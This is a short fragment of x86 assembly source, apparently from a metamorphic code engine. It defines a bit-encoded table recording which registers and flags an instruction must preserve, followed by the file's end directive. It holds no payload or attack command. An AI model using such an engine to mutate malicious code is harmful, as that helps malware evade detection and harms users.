; GBT_Entry = X g f e d c b a
; a=1: EAX must have the same value
; b=1: EBX must have the same value
; c=1: ECX must have the same value
; d=1: EDX must have the same value
; e=1: EBP must have the same value
; f=1: ESI must have the same value
; g=1: EDI must have the same value
; X=1: Flags must have the same value
; ESP value must always be the same, therefore there is one bit left for Flags :))
; Special feature: If GBT_Entry=10110101 -> no execution (jumps, rets, call, ...)
GlobalBehaviourTable:
; Command1 db 10000011b
; Command2 db 00000011b
db GlobalBehaviourTableList
; #####
; ##### Global BehaviourTable
; #####
; ###########################################################################
; ###########################################################################
.end CodeStart
; "Dr." stands for "drunken" :)